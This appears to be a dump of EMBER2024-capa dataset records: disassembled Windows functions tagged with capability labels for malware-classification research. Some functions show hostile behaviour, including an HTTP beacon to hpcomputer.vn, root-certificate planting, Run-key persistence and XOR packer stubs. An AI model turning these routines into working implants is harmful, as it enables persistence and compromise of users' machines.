joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54fd9c
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x98], 0
je 0x54fdc2
push 0
mov eax, dword [ebx + 0x94]
call fcn.00452e6c
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x98], 0
pop ebx
ret

Function at 0x54fe7c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x54ffed
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xa4], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x54ffd2
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.0040a3f4
mov dl, 1
mov eax, dword [0x52616c]
call fcn.005261c4
mov edx, dword [ebp - 4]
mov dword [edx + 0x9c], eax
mov dl, 1
mov eax, dword [0x41cee0]
call fcn.00403850
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xa0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.00526240
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x54ffcf
mov dl, 1
mov eax, dword [0x52779c]
call fcn.00527804
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
mov edx, 0x550004
call fcn.005269a8
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404adc
xor eax, eax
push ebp
push 0x54ffc8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.00527b04
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0055000c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54ffcf
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.00403880
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
call fcn.00403880
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.00403880
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54fff4
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004047f4
ret
Function at 0x559eb0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x559eb8
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x55a054
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 8]
mov edx, 0x55a06c
mov eax, esi
call fcn.00557c3c
mov edx, dword [ebp - 8]
lea eax, [ebx + 0xc]
call fcn.00404824
lea ecx, [ebp - 0xc]
mov edx, 0x55a080
mov eax, esi
call fcn.00557c3c
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0x28]
call fcn.00404824
lea ecx, [ebp - 0x10]
mov edx, 0x55a098
mov eax, esi
call fcn.00557c3c
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x10]
call fcn.00404824
lea ecx, [ebp - 0x14]
mov edx, 0x55a0b4
mov eax, esi
call fcn.00557c3c
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x14]
call fcn.00404824
lea ecx, [ebp - 0x18]
mov edx, 0x55a0d0
mov eax, esi
call fcn.00557c3c
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x24]
call fcn.00404824
lea ecx, [ebp - 0x20]
mov edx, 0x55a0e8
mov eax, esi
call fcn.00557c3c
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.004094d4
mov eax, dword [ebp - 0x1c]
or edx, 0xffffffff
call fcn.00409c54
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x24]
mov edx, 0x55a100
mov eax, esi
call fcn.00557c3c
mov eax, dword [ebp - 0x24]
call fcn.00556d2c
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x28]
mov edx, 0x55a110
mov eax, esi
call fcn.00557c3c
mov eax, dword [ebp - 0x28]
call fcn.00556d2c
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 4]
mov edx, 0x55a128
mov eax, esi
call fcn.00557c3c
mov eax, dword [ebp - 4]
call fcn.005568e0
test al, al
je 0x55a00b
mov eax, dword [ebp - 4]
call fcn.00409c18
mov edi, eax
test edi, edi
jl 0x55a001
call fcn.0040bb70
mov dword [ebp - 0x2c], edi
fild dword [ebp - 0x2c]
fdiv dword [0x55a130]
faddp st(1)
fstp qword [ebx + 0x38]
wait
jmp 0x55a017
xor eax, eax
mov dword [ebx + 0x38], eax
mov dword [ebx + 0x3c], eax
jmp 0x55a017
mov eax, dword [ebp - 4]
call fcn.00556d2c
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x55a13c
mov eax, esi
call fcn.00557c3c
mov edx, dword [ebp - 0x30]
lea eax, [ebx + 0x48]
call fcn.00404824
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55a05b
lea eax, [ebp - 0x30]
call fcn.004047d0
lea eax, [ebp - 0x28]
mov edx, 0xa
call fcn.004047f4
ret

Function at 0x566b40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x566b9a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.00566b30
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.005556f8
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.005552f8
mov edx, dword [esi + 0xc]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x566ba1
lea eax, [ebp - 4]
call fcn.004047d0
ret
Function at 0x40446c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404628
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4044cd
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404644
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40453f
xor eax, eax
push ebp
push 0x404538
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.004042c4
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404521
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404664
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40453f
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404620
cmp byte [ebp - 0xd], 0
jne 0x404581
cmp byte [ebp - 0x12], 0
je 0x404620
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40459a
dec ebx
cmp byte [ebx], 0x2e
je 0x4045a9
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404599
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404620
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4045d6
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404620
cmp byte [ebp - 0xd], 0
je 0x404620
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404620
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406df4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406e2d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403340
jmp 0x406e36
mov eax, ebx
mov edx, esi
call fcn.004032ac
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406e40
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406e61
mov al, byte [esp]
jmp 0x406e63
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c208
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00403678
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x40c260
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x40d458]
mov dl, 1
mov eax, dword [0x40bdc0]
call fcn.00407650
call fcn.00402d28
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0040bec8
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40c2e4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403668
mov eax, dword [ebp - 8]
call fcn.00403668
xor eax, eax
push ebp
push 0x40c37d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.004026f8
mov dword [ebp - 0x50], 0x44
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00403500
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
mov eax, dword [ebp - 8]
call fcn.00403678
push eax
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403678
push eax
call sub.kernel32.dll_CreateProcessA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c384
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040327c
ret
Function at 0x401c30
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ecx
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push str.Patch_ServerLoad
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 3
push 0
push 0
push 0x50
mov edi, eax
push str.hpcomputer.vn
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0x4040300
push 0
push 0
mov ebx, eax
mov eax, dword [esp + 0x24]
push str.HTTP_1.1
push eax
push 0x4047fc
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x401ca0
pop edi
pop esi
xor al, al
pop ebx
pop ecx
ret
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0xc]
push ecx
push edx
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x20]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [edx], ecx
call esi
push ebx
call esi
push edi
call esi
pop edi
pop esi
mov al, 1
pop ebx
pop ecx
ret

Function at 0x401ce0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x120
mov eax, dword [0x407018]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x104
lea eax, [esp + 0x20]
push 0
push eax
mov esi, ecx
call sub.MSVCR90.dll_memset
push esi
xor eax, eax
push str._prefetch_hidepatch_check_1click.php
lea ecx, [esp + 0x30]
push str._s_acc_s
push ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
call dword [sym.imp.MSVCR90.dll_sprintf]
lea edx, [esp + 0x20]
push edx
push 0x14
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x44]
push ecx
call fcn.00401c30
lea eax, [esp + 0x34]
add esp, 0x2c
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401d56
sub eax, esi
test eax, eax
jle 0x401d84
mov dl, byte [esp + ecx + 8]
not dl
xor dl, cl
lea eax, [esp + 8]
mov byte [esp + ecx + 8], dl
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401d77
sub eax, esi
cmp ecx, eax
jl 0x401d63
push 0
lea eax, [esp + 8]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_ntdll
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 8]
lea edx, [eax + 1]
pop esi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401db0
sub eax, edx
mov edx, dword [esp]
push eax
lea ecx, [esp + 8]
push ecx
push 1
push 0
push str.CODE_ACTIVE_PA
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00402b86
add esp, 0x120
ret
Function at 0x402b86
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x407018]
jne 0x402b90
repz ret
jmp fcn.0040307a

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x36861d68
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0xf5e7888
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401290
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov dword [esp + 4], str.SoftwareMicrosoftSystemCertificatesRootCertificates469643AE143501E61BFED246C12F6C63FE7CD26B
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x20], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
sub esp, 0x24
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
jne 0x40135e
mov dword [esp + 0x14], 0x3d1
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp], str.Import_data_SUCCESS_n
call sym._printf
jmp 0x40136a
mov dword [esp], str.Import_data_FAIL_n
call sym._printf
leave
ret

Function at 0x40136c
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Name___s_value___s_n
call sym._printf
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x20], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
sub esp, 0x24
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
jne 0x40145b
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp], str.Import_auto_data_SUCCESS_n
call sym._printf
jmp 0x401467
mov dword [esp], str.Import_auto_data_FAIL_n
call sym._printf
leave
ret
Function at 0x40146a
Capabilities:
Create process on windows
Execute command

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x460
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x44c], eax
mov eax, dword [ebp - 0x44c]
call fcn.00401a40
call sym.___main
mov dword [esp], str.CheckNetIsolation_LoopbackExempt__a__n_Microsoft.MicrosoftEdge_8wekyb3d8bbwe_
call sub.msvcrt.dll_system
mov dword [esp], 0x40314f
call sub.msvcrt.dll_system
mov dword [esp], str.Changingtec_ServiSign_import_program_n
call sym._printf
lea ecx, [ebp - 0x3e8]
mov edx, section..data
mov eax, 0x3d1
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sym._memcpy
lea eax, [ebp - 0x3e8]
mov dword [esp + 4], eax
mov dword [esp], str.Blob
call sym.setPropertyEx_char__char_
mov dword [ebp - 0x3ec], 0
mov dword [esp + 4], 0x40317f
mov dword [esp], str.C:Program_Files__x86_ChangingtecCGServiSignFirstStartup.bat
call sym._fopen
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0
je 0x40158f
mov eax, dword [ebp - 0x3ec]
mov dword [esp], eax
call sym._fclose
lea ecx, [ebp - 0x448]
mov edx, str._C:Program_Files__x86_ChangingtecCGServiSignHideRun.vbs___autorun
mov eax, 0x46
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sym._memcpy
lea eax, [ebp - 0x448]
mov dword [esp + 4], eax
mov dword [esp], str.CGServiSign
call sym.setPropertyExForAutoRun_char__char_
mov dword [esp], str.Execute_64_bit_startup_mode_n
call sym._printf
mov dword [esp + 4], 6
mov dword [esp], str._C:Program_Files__x86_ChangingtecCGServiSignFirstStartup.bat_
call sub.KERNEL32.dll_WinExec
sub esp, 8
jmp 0x4015e0
mov dword [esp], str.Execute_32_bit_startup_mode_n
call sym._printf
lea edi, [ebp - 0x448]
mov esi, str._C:Program_FilesChangingtecCGServiSignHideRun.vbs___autorun
mov eax, 0x40
cld
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x448]
mov dword [esp + 4], eax
mov dword [esp], str.CGServiSign
call sym.setPropertyExForAutoRun_char__char_
mov dword [esp + 4], 6
mov dword [esp], str._C:Program_FilesChangingtecCGServiSignFirstStartup.bat_
call sub.KERNEL32.dll_WinExec
sub esp, 8
mov dword [esp], str.pause
call sub.msvcrt.dll_system
mov eax, 0
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret

Function at 0x401c80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x401690
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x408040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401730
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x401729
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x34]
push str.Trove.exe
push eax
call edi
add esp, 8
test eax, eax
jne 0x40171d
mov ecx, dword [0x4084b0]
cmp ecx, dword [0x4084b4]
je 0x401712
mov eax, dword [esp + 0x18]
mov dword [ecx], eax
add dword [0x4084b0], 4
jmp 0x40171d
lea eax, [esp + 0x18]
push eax
push ecx
call fcn.00403870
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x4016e2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00403f97
mov esp, ebp
pop ebp
ret
Function at 0x404900
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40493f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40493f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40493f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40493f
cmp dword [ecx + 0x74], 0xe
jbe 0x40493f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219